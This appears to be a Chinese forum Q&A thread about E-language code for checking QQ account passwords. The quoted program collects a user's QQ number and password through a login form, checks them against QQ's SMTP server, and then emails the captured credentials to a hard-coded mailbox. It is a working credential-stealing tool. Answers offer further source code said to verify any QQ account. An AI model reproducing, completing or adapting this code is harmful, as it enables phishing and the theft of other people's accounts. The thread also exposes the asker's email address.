Question

易语言怎么用彗星HTTP模块验证QQ密码的对错？

如题。
如果答案是这个的，就不要回复了哈。
.版本 2
.支持库 internet

.子程序 _按钮2_被单击
.局部变量 QQ帐号, 文本型
.局部变量 QQ密码, 文本型

QQ帐号 ＝ 到文本 (编辑框1.内容)
QQ密码 ＝ 到文本 (编辑框2.内容)
.如果真 (编辑框1.内容 ＝ “”)
信息框 (“请输入账号”, 0, )
编辑框1.获取焦点 ()
返回 ()
.如果真结束
.如果真 (编辑框2.内容 ＝ “”)
信息框 (“请输入密码”, 0, )
编辑框2.获取焦点 ()
返回 ()
.如果真结束
.如果 (连接发信服务器 (“smtp.qq.com”, , QQ帐号, QQ密码, 3000) ＝ 真) ' '这里是验证你的QQ帐号和密码是否正确需要进入邮箱设置→账户→最后面的开启服务都打开
信息框 (“登录成功”, #信息图标, “正确”)
.否则
信息框 (“帐号密码有误”, #信息图标, “错误”)
返回 ()
.如果结束
连接发信服务器 (“SMTP.qq.com”, , “你的QQ帐号。。”, “你的QQ密码。。”, ) ' '后两个引号里面要输入你的QQ邮箱和QQ密码不要有邮箱独立密码
发送邮件 (“测试”, “QQ帐号：” ＋ 编辑框1.内容 ＋ “------” ＋ “QQ密码：” ＋ 编辑框2.内容, “你的QQ帐号@qq.com”, , , “你的QQ帐号@qq.com”, ) ' '这两个引号里面输入你的QQ邮箱
断开发信服务器 ()

希望大神能讲解一下。如果能发邮箱的话，感激不尽
答案满意会再追加20分
591533574@qq.com

Answer 1

这个是我以前做的

Answer 2

验证帐号对错 如果你用 如果（）去验证的话 只是针对开通了SMTP功能的部分用户有效..
我有所有QQ都能验证源码

追问

能发给我不。

Answer 3

百度查一下，这种源码超级多的